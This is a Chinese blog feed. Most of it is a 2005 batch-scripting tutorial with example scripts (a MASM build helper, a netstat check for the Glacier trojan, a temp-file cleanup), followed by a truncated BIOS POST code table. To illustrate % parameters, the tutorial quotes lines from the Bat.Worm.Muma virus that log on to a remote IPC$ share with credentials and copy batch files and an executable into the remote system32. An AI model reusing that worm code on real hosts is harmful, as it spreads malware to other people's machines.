<P>看到本质了吧？其实只是把结果判断后所执行的命令互换了一下，“if not errorlevel 1”和“if errorlevel 0”的效果是等效的，都表示上一句masm命令执行成功（因为它是错误判断，而且返回码为0，0就表示否定，就是说这个错误不存在，就是说masm执行成功）。这里是否加not，错误码到底用0还是1，是值得考虑的两个问题，一旦搭配不成功脚本就肯定出错，所以一定要体会的很深刻才行。如何体会的深刻？练习！自己写一个脚本，然后把有not和没有not的情况，返回码为0或1的情况分别写进去执行（怎么，嫌麻烦啊？排列组合算一下才四中情况你就嫌麻烦了？后面介绍管道命令和组合命令时还有更麻烦的呢！怕了？呵呵。），这样从执行的结果中就能很清楚的看出这两种情况的区别。 </P>
<P>这种用errorlevel结果判断的用法是if命令最难的用法，但也恰恰是最有用的用法，如果你不会用errorlevel来判断返回码，则要达到相同的效果，必须用else来表示“否则”的操作，是比较麻烦的。以上代码必须变成： </P>
<P>masm %1.asm <BR>if exist %1.obj link %1.obj <BR>else pause &amp; edit %1.asm </P>
<P>关于if命令的这三种用法就say到这里，理解很简单，但应用时就不一定用的那么得心应手，主要是熟练程度的问题。可能有的朋友有点惊讶，我怎么没给出类似下面三行的用法介绍，是因为下面三行是if命令帮助里对它自身用法的解释，任何人只要一个“if /?”就能看到，我没有必要在这里多费口舌；更重要的原因，是我觉得这样介绍的不清楚，看的人不一定看的懂，所以我采用上面自己对if命令的理解来介绍。一定要注意的是，这三种用法的格式各不相同，而且也是不能改变的，但实际上可以互换（以为从本质上讲，这三种用法都是建立在判断的基础上的，哲学教我们学会透过现象看事物本质！）。有兴趣的朋友可以自己研究一下。 </P>
<P>IF [NOT] ERRORLEVEL number do command <BR>IF [NOT] string1==string2 do command <BR>IF [NOT] EXIST filename do command<BR>&nbsp;<BR>2005-12-21 20:52:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>曾经有一篇经典的批处理教程出现在你的屏幕上，你没有保存，直到找不到它的链接你才后悔莫及，人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会，你会对那篇教程说三个字：我爱你！如果非要给这份爱加上一个期限，你希望是100年。因为100年后，你恐怕早已经挂了！而现在，你的屏幕上出现了这篇你正在看的批处理教程，虽然不如你曾经看的那篇经典，但如果勉强还过的去。你会爱它吗？时间会有50年那么长吗？答案是：试试看吧。 </P>
<P>批处理脚本中最重要的几个命令，将在这一章详细介绍，但是很遗憾，有些细节到现在我都没掌握的很好，甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力，即使一直都没有收获。所以可能讲的会比较笼统，但我会告诉你方法，剩下的就是时间问题了，需要自己去磨练。让我们共同努力吧。冰冻三尺非一日之寒，滴水穿石非一日之功。有些事情，比如学批处理，比如爱一个人，都是不能速成的，甚至还会有付出艰辛而收获为甚微的情况。再次重申，看这篇教程的时候，一定要静下心来，除非你已经掌握了这篇教程的所有东西----但那也就不必看了，浪费时间！ </P>
<P>7、if </P>
<P>接上一章，接着讲if命令。总的来说，if命令是一个表示判断的命令，根据得出的每一个结果，它都可以对应一个相应的操作。关于它的三种用法，在这里分开讲。 </P>
<P>(1)、输入判断。还是用例五里面的那几句吧： </P>
<P>if "%1"=="" goto usage <BR>if "%1"=="/?" goto usage <BR>if "%1"=="help" goto usage </P>
<P>这里判断输入的参数情况，如果参数为空（无参数），则跳转到usage；如果参数为/?或help时（大家一般看一个命令的帮助，是不是输入的/?或help呢，这里这么做只是为了让这个脚本看起来更像一个真正的程序），也跳转到usage。这里还可以用否定形式来表示“不等于”，例如：if not "%1"=="" goto usage，则表示如果输入参数不为空就跳转到usage（实际中这样做就没意义了，这里介绍用法，管不了那么多了，呵呵。）是不是很简单？其实翻译成中文体会一下就understand了。 </P>
<P>(2)、存在判断。再看例二里这句： </P>
<P>if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif </P>
<P>如果存在那些gif文件，就删除这些文件。当然还有例四，都是一样的道理。注意，这里的条件判断是判断存在的，当然也可以判断不存在的，例如下面这句“如果不存在那些gif文件则退出脚本”：if not exist C:\Progra~1\Tencent\AD\*.gif exit。只是多一个not来表示否定而已。 </P>
<P>(3)、结果判断。还是拿例五开刀（没想到自己写的脚本，竟然用处这么大，呵呵）： </P>
<P>masm %1.asm <BR>if errorlevel 1 pause &amp; edit %1.asm <BR>link %1.obj </P>
<P>先对源代码进行汇编，如果失败则暂停显示错误信息，并在按任意键后自动进入编辑界面；否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方，&amp;命令后面会讲到。这种用法是先判断前一个命令执行后的返回码（也叫错误码，DOS程序在运行完后都有返回码），如果和定义的错误码符合（这里定义的错误码为1），则执行相应的操作（这里相应的操作为pause &amp; edit %1.asm部分）。 </P>
<P>另外，和其他两种用法一样，这种用法也可以表示否定。用否定的形式仍表达上面三句的意思，代码变为：<BR>&nbsp;<BR>2005-12-21 20:51:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>例六：</P>
<P>echo nbtstat -A 192.168.0.1 &gt; a.bat<BR>echo nbtstat -A 192.168.0.2 &gt;&gt; a.bat<BR>echo nbtstat -A 192.168.0.3 &gt;&gt; a.bat</P>
<P>以上脚本内容的编辑方法是，直接是命令行输入，每行一回车。最后就会在当前目录下生成一个a.bat的文件，直接执行就会得到结果。</P>
<P>3、::</P>
<P>这个命令的作用很简单，它是注释命令，在批处理脚本中和rem命令等效。它后面的内容在执行时不显示，也不起任何作用，因为它只是注释，只是增加了脚本的可读性，和C语言中的/*…………*/类似。地球人都能看懂，就不多说了。</P>
<P>4、pause</P>
<P>中文为“暂停”的意思（看看你的workman上），我一直认为它是批处理中最简单的一个命令，单纯、实用。它的作用，是让当前程序进程暂停一下，并显示一行信息：请按任意键继续. . .。在例五中这个命令运用了两次，第一次的作用是让使用者看清楚程序信息，第二个是显示错误的汇编代码信息（其实不是它想显示，而是masm程序在显示错误信息时被暂它停了，以便让你看清楚你的源代码错在哪里）。</P>
<P>5、:和goto</P>
<P>为什么要把这两个命令联合起来介绍？因为它们是分不开的，无论少了哪个或多了哪个都会出错。goto是个跳转命令，:是一个标签。当程序运行到goto时，将自动跳转到:定义的部分去执行了（是不是分不开？）。例五中倒数第5行行首出现一个:，则程序在运行到goto时就自动跳转到:标签定义的部分执行，结果是显示脚本usage（usage就是标签名称）。不难看出，goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方，它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法，参照例五。</P>
<P>goto命令的另一种用法一：提前结束程序。在程序中间使用goto命令跳转到某一标签，而这一标签的内容却定义为退出。如：</P>
<P>……<BR>goto end<BR>……<BR>:end </P>
<P>这里:end在脚本最后一行！其实这个例子很弱智，后面讲了if命令和组合命令你就知道了。</P>
<P>6、%</P>
<P>这个百分号严格来说是算不上命令的，它只是批处理中的参数而已（多个%一起使用的情况除外，以后还将详细介绍），但千万别以为它只是参数就小看了它（看看例五中有多少地方用到它？），少了它批处理的功能就减少了51%了。看看例七：</P>
<P>net use <A href="file://%251/ipc$">\\%1\ipc$</A> %3 /u:"%2"<BR>copy 11.BAT <A href="file://%251/admin$/system32">\\%1\admin$\system32</A> /y<BR>copy 13.BAT <A href="file://%251/admin$/system32">\\%1\admin$\system32</A> /y<BR>copy ipc2.BAT <A href="file://%251/admin$/system32">\\%1\admin$\system32</A> /y<BR>copy NWZI.EXE <A href="file://%251/admin$/system32">\\%1\admin$\system32</A> /y<BR>attrib <A href="file://%251/admin$/system32/10.bat">\\%1\admin$\system32\10.bat</A> -r -h -s</P>
<P>以上代码是Bat.Worm.Muma病毒中的一部分，%1代表的IP，2%代表的username，3%代表password。执行形式为：脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat，则执行形式如下：a IP username password。这里IP、username、password是三个参数，缺一不可（因为程序不能正确运行，并不是因为少了参数语法就不对）这样在脚本执行过程中，脚本就自动用用你的三个参数依次（记住，是依次！也是一一对应的关系。）代换1%、2%和3%，这样就达到了灵活运用的目的（试想，如果在脚本中直接把IP、username和password都定义死，那么脚本的作用也就被固定了，但如果使用%的话，不同的参数可以达到不同的目的，是不是更灵活？）。</P>
<P>关于这个参数的使用，在后续章节中还将介绍。一定要非常熟练才行，这需要很多练习过程，需要下点狠工夫！</P>
<P>这一章就写到这里了。可能有朋友问了：怎么没介绍if命令？呵呵，不是我忘了，而是它不容易说清楚，下一章再讲了！这一章讲的这点东西，如果你是初学者，恐怕也够消化的了。记住一句话：DOS是批处理的BODY，任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里，你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢？很简单，就是一个DOS命令的集合而已，相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。</P>
<P>烦！就好象一个半老女人到了更年期，什么事都想唠叨几句，什么事都感到不舒服，看谁谁不爽。明知山有虎，偏向虎山行，最后留下一身伤痕无功而返时，才发现自己竟然如此脆弱，如此渺小，如此不堪一击。徘徊在崩溃的边缘，突然回想起了自己最后一次扁人的那一刻，还真有点怀念（其实我很不喜欢扁人，更不喜欢被人扁）。我需要发泄，我用手指拼命的敲打着键盘，在一阵接一阵有节奏的声音中，屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗？中国人还是厉害，早在几千年前孔老夫子就说过“唯女子与小人，难养也”，真**有先见之明，佩服！虽然是在发泄，不过大家请放心，以我的脾气，既然决定写这篇教程，就一定会尽力去写好，写完美，绝对不给自己留下遗憾，要不这教程就不是我写的！</P>
<P><BR>2005-12-21 20:50:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>看过第一章的朋友，一定对批处理有了初步的印象，知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗？其实很简单：思路要灵活！没有做不到的，只有想不到的。这和爱情就有点不同了，因为爱情的世界是两个人的世界，一厢情愿不叫爱情（补充：那叫单恋。废话！）而批处理却是一个人的天堂，你可以为所欲为，没有达不到的境界！</P>
<P>批处理看起来杂乱无章，但它的逻辑性之强，绝对不比其他程序语言（如汇编）低，如果你写的脚本是一堆乱麻，虽然每一行命令都正确，但从头执行到尾后，不一定得到你想要的结果，也许是一屏幕的Bad command or fail name。这又和爱情有了共同点：按步骤来经营，缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友，相信没有不肯定这句话的。我的爱情批处理，输出的结果不是Bad command or fail name，屏幕是这么显示的：‘你的爱情’不是内部或外部命令，也不是可运行的程序或批处理文件。然后就是光标不停闪动，等待这下一次错误的输入。</P>
<P>从这一章开始，将由浅入深的介绍批处理中常用的命令，很多常见DOS命令在批处理脚本中有这广泛的应用，它们是批处理脚本的BODY部分，但批处理比DOS更灵活多样，更具备自动化。要学好批处理，DOS一定要有比较扎实的基础。这里只讲述一些比较少用（相对来说）的DOS命令，常用命令如COPY、DIR等就不做介绍了（这些看似简单的命令实际复杂的很，我怕自己都说不清楚！）。</P>
<P>例五，先看一个实例。这是一个很有意思的脚本，一个小巧实用的好东东，把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历：大家都知道汇编程序（MASM）的上机过程，先要对源代码进行汇编、连接，然后再执行，而这中间有很多环节需要输入很多东西，麻烦的很（只有经历过的朋友才懂得）。如何使这个过程变的简单呢？在我们搞汇编课程设计时，我“被逼”写了这个脚本，用起来很爽，呵呵。看看脚本内容：</P>
<P>@echo off <BR>::close echo<BR>cls<BR>::clean screen <BR>echo This programme is to make the MASM programme automate <BR>::display info<BR>echo Edit by CODERED <BR>::display info<BR>echo Mailto me : <A href="mailto:qqkiller***@sina.com">qqkiller***@sina.com</A> <BR>::display info<BR>if "%1"=="" goto usage <BR>::if input without paramater goto usage<BR>if "%1"=="/?" goto usage <BR>::if paramater is "/?" goto usage<BR>if "%1"=="help" goto usage <BR>::if paramater is "help" goto usage <BR>pause <BR>::pause to see usage<BR>masm %1.asm <BR>::assemble the .asm code<BR>if errorlevel 1 pause &amp; edit %1.asm <BR>::if error pause to see error msg and edit the code<BR>link %1.obj &amp; %1 <BR>::else link the .obj file and execute the .exe file<BR>:usage <BR>::set usage<BR>echo Usage: This BAT file name [asm file name] <BR>echo Default BAT file name is START.BAT <BR>::display usage</P>
<P>先不要被这一堆的东西给吓怕了，静下心来仔细的看（回想一下第一章中第一段是怎么写的！！）。已经给出了每一行命令的解释，两个冒号后面的内容为前一行内容解释的E文（害怕E文的朋友也不用担心，都很easy，一看就懂了，实在不懂了不会查词典啊，这么懒？），在脚本执行时不显示，也不起任何作用。倒数第5行行首有一个冒号，可不是笔误哦！具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序，必须和edit程序以及你要编辑的源代码（当然还有这个脚本，废话！）一起在当前目录中。使用这个批处理脚本，可以最大可能的减少手工输入，整个过程中只需要按几下回车键，即可实现从汇编源代码到可执行exe文件的自动化转换，并具备智能判断功能：如果汇编时源代码出现错误（汇编不成功），则自动暂停显示错误信息，并在按任意键后自动进入编辑源代码界面；如果源代码汇编成功，则进行连接，并在连接后自动执行生成的exe文件。另外，由于批处理命令的简单性和灵活性，这个脚本还具备良好的可改进性，简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友，一定别忘了实习一下！</P>
<P>在这个脚本中出现了如下几个命令：@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。 </P>
<P>1、@</P>
<P>这个符号大家都不陌生，email的必备符号，它怎么会跑到批处理中呢？呵呵，不是它的错，批处理本来就离不开它，要不就不完美了。它的作用是让执行窗口中不显示它后面这一行的命令本身（多么绕口的一句话！）。呵呵，通俗一点说，行首有了它的话，这一行的命令就不显示了。在例五中，首行的@echo off中，@的作用就是让脚本在执行时不显示后面的echo off部分。这下懂了吧？还是不太懂？没关系，看完echo命令简介，自然就懂了。</P>
<P>2、echo </P>
<P>中文为“反馈”、“回显”的意思。它其实是一个开关命令，就是说它只有两种状态：打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo命令将显示当前echo命令状态（off或on）执行echo off将关闭回显，它后面的所有命令都不显示命令本身，只显示执行后的结果，除非执行echo on命令。在例五中，首行的@命令和echo off命令联合起来，达到了两个目的：不显示echo off命令本身，不显示以后各行中的命令本身。的确是有点乱，但你要是练习一下的话，3分钟包会，不会的退钱！</P>
<P>echo命令的另一种用法一：可以用它来显示信息！如例五中倒数第二行，Default BAT file name is START.BAT将在脚本执行后的窗口中显示，而echo命令本身不显示（为什么？？）。<BR>echo命令的另一种用法二：可以直接编辑文本文件。 <BR>2005-12-21 20:49:00<BR>个人主页 | 引用 | 返回 | 删除 | 回复 <BR>Re:bat批处理 <BR>例三，使用批处理脚本查是否中冰河。脚本内容如下：</P>
<P>@echo off<BR>netstat -a -n &gt; a.txt<BR>type a.txt | find "7626" &amp;&amp; echo "Congratulations! You have infected GLACIER!"<BR>del a.txt <BR>pause &amp; exit</P>
<P>这里利用了netstat命令，检查所有的网络端口状态，只需要你清楚常见木马所使用的端口，就能很easy的判断出来是否被人种了冰河。然这不是确定的，因为冰河默认的端口7626，完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动，就变成可以检查其他木马的脚本了，再改动一下，加进去参数和端口及信息列表文件后，就变成自动检测所有木马的脚本了。呵呵，是不是很过瘾？脚本中还利用了组合命令&amp;&amp;和管道命令|，后面将详细介绍。</P>
<P>例四，借批处理自动清除系统垃圾，脚本如下：</P>
<P>@echo off<BR>if exist c:\windows\temp\*.* del c:\windows\temp\*.* <BR>if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* <BR>if exist c:\windows\History\*.* del c:\windows\History\*.* <BR>if exist c:\windows\recent\*.* del c:\windows\recent\*.* </P>
<P>将以上脚本内容保存到autoexec.bat里，每次开机时就把系统垃圾给自动删除了。这里需要注意两点：一、DOS不支持长文件名，所以就出现了Tempor~1这个东东；二、可根据自己的实际情况进行改动，使其符合自己的要求。</P>
<P>怎么样，看到这里，你对批处理脚本是不是已经有点兴趣了？是不是发现自己已经慢慢爱上了这个东东？别高兴的太早，爱不是一件简单的事，它也许能带给你快乐和幸福，当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话，I 服了 YOU！继续努力吧，也许到最后你不一定得到真爱（真的有这可能，爱过的人都知道），但你可以体会到整个爱的过程，就是如此。 酸、苦和辣，有没有甜天知道。</P>
<P>为什么会把批处理和爱情扯上关系？不是我无聊，也不是因为这样写有趣多少，原因有二：其一，批处理和爱情有很多相同的地方，有些地方我用“专业”的行话解释不清（我不怀疑自己的表达能力，而是事情本身就不好说清楚），说了=没说，但用地球人都知道的爱情一比喻（爱情是什么？我**怎么知道！！），没准你心里一下就亮堂了，事半功倍，何乐而不为？其二，我这段时间状态不是很好，感冒发烧头疼鼻塞，但主要还是感情上精神摧残，搞的人烦透了，借写教程之际感慨几句，大家就全当买狗皮膏药了，完全可以省略不看（也许还真有点效果----不至于让你看着看着就睡着了，把头磕了来找我报销医药费）。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。<BR>&nbsp;<BR></P><img src ="http://www.cnitblog.com/altair/aggbug/5842.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/altair/" target="_blank">Altair's Blog</a> 2005-12-28 11:53 <a href="http://www.cnitblog.com/altair/articles/5842.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DEBUG卡故障代码明细表　(POST卡)  </title><link>http://www.cnitblog.com/altair/articles/5841.html</link><dc:creator>Altair's Blog</dc:creator><author>Altair's Blog</author><pubDate>Wed, 28 Dec 2005 03:51:00 GMT</pubDate><guid>http://www.cnitblog.com/altair/articles/5841.html</guid><wfw:comment>http://www.cnitblog.com/altair/comments/5841.html</wfw:comment><comments>http://www.cnitblog.com/altair/articles/5841.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/altair/comments/commentRss/5841.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/altair/services/trackbacks/5841.html</trackback:ping><description><![CDATA[<P>DEBUG卡故障代码明细表<BR>&nbsp;</P>
<P>--------------------------------------------------------------------------------<BR>PCI/ISA两用型DEBUG卡故障代码明细表（只适用于PCI/ISA两用型及PCI单用型） <BR>代码 Award BIOS AMI BIOS Phoenix和Tandy3000 BIOS <BR>00 （见特殊代码意义） 已显示系统的配置;即将控制工INT19引导装入。（见特殊代码意义） （见特殊代码意义） <BR>01 处理器测试1，处理起状态核实，如果测试失败，循环是无限的。 处理器寄存器的测试即将开始，不可屏蔽中断即将停用。 CPU寄存器测试正在进行或者失灵。 <BR>02 确定诊断的类型（正常或者制造）。如果键盘缓冲器含有数据就会失效。 停用不可屏蔽中断；通过延迟开始。 CMOS写入/读出正在进行或者失灵。 <BR>03 清除8042键盘控制器，发出TEST-KBRD命令(AAH)。 通电延迟已完成。 ROM B10S检查部件正在进行或失灵。 <BR>04 使8042键盘控制器复位，核实TESTKBRD。 键盘控制器较复位/通电测试。 可编程间隔计时器的测试正在进行或失灵。 <BR>05 如果不断重复制造测试1至5，可获得8042控状态。 已确定软复位/通电；即将启动ROM。 DMA初始准备正在进行或者失灵。 <BR>06 使电路片作初始准备，停用视频，奇偶性，DMA电路片，以及清除DMA电路片，所有页面寄存器和CMOS停机字节。使电路片作初始准备，停用视频，奇偶性，DMA电路片，以及清除DMA电路片，所有页面寄存器和CMOS停机字节。 已启动ROM计算ROM BIOS检查总和，以及检查键盘缓冲器是否清除。 DMA初始页面寄存器读/写测试正在进行或失灵。 <BR>07 处理器测试2，核实CPU寄存器的工作。 ROM BIOS检查总和正常，键盘缓冲器已清除，向键盘发出BAT(基本保证测试)命令。 无意义 <BR>08 使CMOS计时器作初始准备，正常地更新计时器的循环。 已向键盘发出BAT命令，即将写入BAT命令。 RAM更新检验正在进行或失灵。 <BR>09 EPROM检查总和且必须等于零才通过。 核实键盘的基本保证测试，接着核实键盘命令字节。 第一个64K RAM测试正在进行。 <BR>0A 使视频接口作初始准备。 发出键盘命令字节代码，即将写入命令字节数据。 第一个64K RAM芯片或数据线失灵，移位。 <BR>0B 测试8254通道0。 写入键盘控制器命令字节，即将发出引脚23和24的封锁/解锁命令。 第一个64K RAM奇/偶逻辑失灵。 <BR>0C 测试8054通道1。 键盘控制器引脚23，24已封锁/解锁；已发出NOP命令。 第一个64K RAM的地址线故障。 <BR>0D 1.检查CPU速度是否与系统时钟相匹配。2.检查控制芯片已编程值是否条符合初设置。3.视频通道测试，如果失败，则鸣喇叭。 已处理NOP命令；接着测试CMOS停开寄存器。 第一个64K RAM的奇偶性失灵。 <BR>0E 测试CMOS停机字节。 CMOS停开寄存器读/写测试；将计算CMOS检查总和。 初始货输入/输出端口地址。 <BR>0F 测试扩展的CMOS。 已计算CMOS检查总和写入诊断字节；CMOS开始初始准备。 无意义。 <BR>10 测试DMA通道0。 CMOS已作初始准备，CMOS状态寄存器即将为日期和时间作初始准备。 第一个64K RAM第0位故障。 <BR>11 测试DMA通道1。 COMS状态寄存器已作初始准备，即将停用DMA和中断控制器。 第一个64K RAM第1位故障。 <BR>12 测试DMA页面寄存器。 停用DMA控制器1以及中断控制器1和2；即将视频显示器并使端口B作初始准备。 第一个64K RAM第2位故障。 <BR>13 测试8471键盘控制器接口。 视频显示器已停用，端口B已作初始准备；即将开始电路片初始化/存储器自动检测。 第一个64K RAM第3位故障。 <BR>14 测试存储器更新触发电路。 电路片初始化/存储器自动检测结束；8254计时器测试即将开始。 第一个64K RAM第4位故障。 <BR>15 测试开头64K的系统存储器。 第2通道计时器测试了一半；8254第2通道计时器即将完成测试。 第一个64K RAM第5位故障。 <BR>16 建立8259所用的中断矢量表。 第2通道计时器测试结束；8254第1通道计时器即将完成测试。 第一个64K RAM第6位故障。 <BR>17 调准视频输入/输出工作，若装有视频BIOS则启用。 第1通道计时器测试结束；8254第0通道即将完成测试。 第一个64K RAM第7位故障。 <BR>18 测试视频存储器，如果安装选用的视频BIOS通过，则可绕过。 第0通道计时器测试结束；即将开始更新存储器。 第一个64K RAM第8位故障。 <BR>19 测试第1通道的中断控制器（8259）屏蔽位。 已开始更新存储器，接着将完成存储器的更新。 第一个64K RAM第9位故障。 <BR>1A 测试第2通道的中断控制器（8259）屏蔽位。 正在触发存储器更新线路，即将检查15微秒通/断时间。 第一个64K RAM第10位故障。 <BR>1B 测方式CMOS电池电平。 完成存储器更新时间30微秒测试；即将开始基本的64K存储器测试。 第一个64K RAM第11位故障。 <BR>1C 测试COMS检查总和。 无意义。 第一个64K RAM第12位故障。 <BR>1D 调定COMS的配置。 无意义。 第一个64K RAM第13位故障。 <BR>1E 测定系统存储器的大小，并且把客观存在和COMS值比较。 无意义。 第一个64K RAM第14位故障。 <BR>1F 测试64K存储器至最高640K。 无意义。 第一个64K RAM第15位故障。 <BR>20 测量固定的8259中断位。 开始基本的64K存储器测试；即将测试地址线。 从属DMA寄存器测试正在进行或失灵。 <BR>21 维持不可屏蔽中断（NMI）位（奇偶性或输入/输出通道的检查）。 通过地址线测试；即将触发奇偶性。 主DMA寄存器测试正在进行或失灵。 <BR>22 测试8259的中断功能。 结束触发奇偶性；将开始串行数据读/写测试。 主中断屏蔽寄存器正在进行或失灵。 <BR>23 测试保护方式8086虚似方式和8186页面方式。 基本的64K串行数据读/写测试正常；即将开始中断矢量初始化之前的任何调节。 从属中断屏蔽寄存器测试正在进行或失灵。 <BR>24 测定1Mb以上的扩展存储器。 矢量初始化之前的任何调节完成，即将开始中断矢量的初始准备。 设置ES段地址寄存器注册表到内存高端。 <BR>25 测试除头一个64K之后的所有存储器。 完成中断矢量初始准备；将为旋转武断续开始读出8042的输入/输出端口。 装入中断矢量正在进行或失灵。 <BR>26 测试保护方式的例外情况。 读写8042的输入/输出端口；即将为旋转式断续开始使全局数据作初始准备。 开启A20地址线；使之参入寻址。 <BR>27 确定超高速缓冲存储器的控制或屏蔽RAM。 全1数据初始准备结束；接着将进行中断矢量之后的任何初始准备。 键盘控制器测试正在进行或失灵。 <BR>28 确定超高速缓冲存储器的控制或者特别的8042键盘控制器。 完成中断矢量之后的初始准备；即将调定单色广式。 CMOS电源故障/检查总和计算正在进行。 <BR>29 无意义。 已调定单色方式，即将调定彩色方式。 CMOS配置有效性的检查正在进行。 <BR>2A 使键盘控制器作初始准备。 已调定彩色方式，即将进行ROM测试前的触发奇偶性。 置空64K基本内存。 <BR>2B 使磁盘驱动器和控制器作初始准备。 触发奇偶性结束；即将控制任选的视频ROM检查前所需的任何调节。 屏幕存储器测试正在进行或失灵。 <BR>2C 检查串行端口，并使之作初始准备。 完成视频ROM控制之前的处理；即将查看任选的视频ROM并加以控制。 屏幕初始准备正在进行或失灵。 <BR>2D 检查并行串口，并使之做初始准备。 以完成任选的视频ROM控制，即将进行视频ROM回复控制之后任何其他处理的控制。 屏幕回扫测试正在进行或失灵。 <BR>2E 使磁盘驱动器和控制器作初始准备。 使视频ROM控制之后的处理复原；如果没发现EGA/VGA就要进行显示存储器读写测试。 检查视频ROM正在进行。 <BR>2F 检测数学协处理器，并使之做初始准备。 没发现EGA/VGA；即将开始显示存储器读/写测试。 无意义。 <BR>30 建立基本内存和扩展内存。 通过显示存储器读/写测试；即将进行扫描检查。 认为屏幕是可以工作的。 <BR>31 检测从C800:0至EFFF:0的选用ROM，并使之做处世准备。 显示存储器读/写测试失败，即将进行另一种显示存储器读/写测试。 单色监视器是可以工作的。 <BR>32 对主板上的COM/LTP/FDD/声音设备等I/O芯片编程使之适合设置值。 通过另一种显示存储器读/写测试；即将进行另一种显示器扫描检查。 彩色监视器（40列）是可以工作的。 <BR>33 无意义。 视频显示器检查结束；将开始利用调节开关和实际插卡检验显示器的类型。 彩色监视器（80列）是可以工作的。 <BR>34 无意义。 已检验显示适配器；接着将调定显示方式。 记&nbsp; </P>
<P>&nbsp;</P>
<P>--------------------------------------------------------------------------------<BR>34 无意义。 已检验显示适配器；接着将调定显示方式。 记时器滴答声中断测试正在进行或失灵。 <BR>35 无意义。 完成调定显示方式；即将检查BIOS ROM的数据区。 停机检测正在进行或失灵。 <BR>36 无意义。 已检查BIOS ROM数据区；即将调定通电信息的游标。 门电路中A—20失灵。 <BR>37 无意义。 识别通电信息的游标调定已完成；即将显示通电信息。 保护方式中的意外中断。 <BR>38 无意义。 完成显示通电信息；即将读出新的游标位置。 RAM测试正在进行或者地址故障&gt;FFFFh。 <BR>39 无意义。 己读出保存游标位置，即将显示引用信息串。 无意义。 <BR>3A 无意义。 引用信息串显示结束；即将显示发现（ESC）信息。引用信息串显示结束；即将显示发现信息。 间隔计时器通道2测试或失灵。 <BR>3B 用OPT电路片(只是486)使辅助超高速缓冲存储器作初始准备。 已显示发现信息：虚拟方式，存储器测试即将开始。 按日计算的日历时钟测试正在进行或失灵。 <BR>3C 建立允许进入CMOS设置的标志。 无意义。 串行端口测试正在进行或失灵。 <BR>3D 初女台化键盘/PS2鼠标/PNP设备及总内存节点。 无意义。 并行端口测试正在进行或失灵。 <BR>3E 尝试打开L2高速缓存。 无意义。 数学处理器测试正在进行或失灵。 <BR>3F 无意义。 无意义。 无意义。 <BR>40 无意义。 已开始准备虚拟方式的测试；即将从视频存储器来检验。 调整CPU速度，使之外围时钟精确匹配。 <BR>41 中断己打开，将初始化数据以便于0:0检测内存变换(中断控制器或内存不良)。 从视频存储器检验之后复原；即将准备描述符表。 系统插件板选择失灵。 <BR>42 显示窗口进入SETUP。 描述符表已准备好；即将进行虚拟方式作存储器测试。 扩展CMOS RAM故障。 <BR>43 若是即插即用BIOS，则串口，并口初始化。 进入虚拟方式；即将为诊断方式实现中断。 无意义。 <BR>44 无意义。 已实现中断(如已接通诊断开关；即将使数据作初始准备以检查存储器在0:0返转。 BIOS中断进行初始化。 <BR>45 初始化数学处理器。 数据已作初始准备；即将检查存储器在0:0返转以及找出系统存储器的规模。 无意义。 <BR>46 无意义。 测试存储器已返回；存储器大小计算完毕，即将写入页面来测试存储器。 检查只读存储器ROM版本。 <BR>47 无意义。 即将在扩展的存储器试写页面；即将基本640K存储器写入页面。 无意义。 <BR>48 无意义。 已将基本存储器写入页面；即将确定1Mb以上的存储器。 视频检查，CMOS重新配置。 <BR>49 无意义。 找出1Mb以下的存储器并检验；即将确定1Mb以上的存储器。 无意义。 <BR>4A 无意义。 找出1Mb以上的存储器并检验：即将检查BIOS ROM的数据区。 进行视频的初始化。 <BR>4B 无意义。 BIOS ROM数据区的检验结束，即将检查和为软复位清除1Mb以上的存储器。 无意义。 <BR>4C 无意义。 清除1Mb以上的存储器(软复位)即将清除1Mb以上的存储器。 屏蔽视频BIOS ROM。 <BR>4D 无意义。 已清除1Mb以上的存储器(软复位)；将保存存储器的大小。 无意义。 <BR>4E 若检测到有错误，在显示器上显示错误信息，并等待客户按(F1)健继续。 开始存储器的测试：(无软复位)；即将显示第一个64K存储器的测试。 显示版权信息。 <BR>4F 读写软、硬盘数据，进行DOS引导。 开始显示存储器的大小，正在测试存储器将使之更新；将进行串行和随机的存储器测试。 无意义。 <BR>50 将当前BIOS临时区内的CMOS值存到CMOS中。 完成1Mb以下的存储器测试；即%B&nbsp; </P>
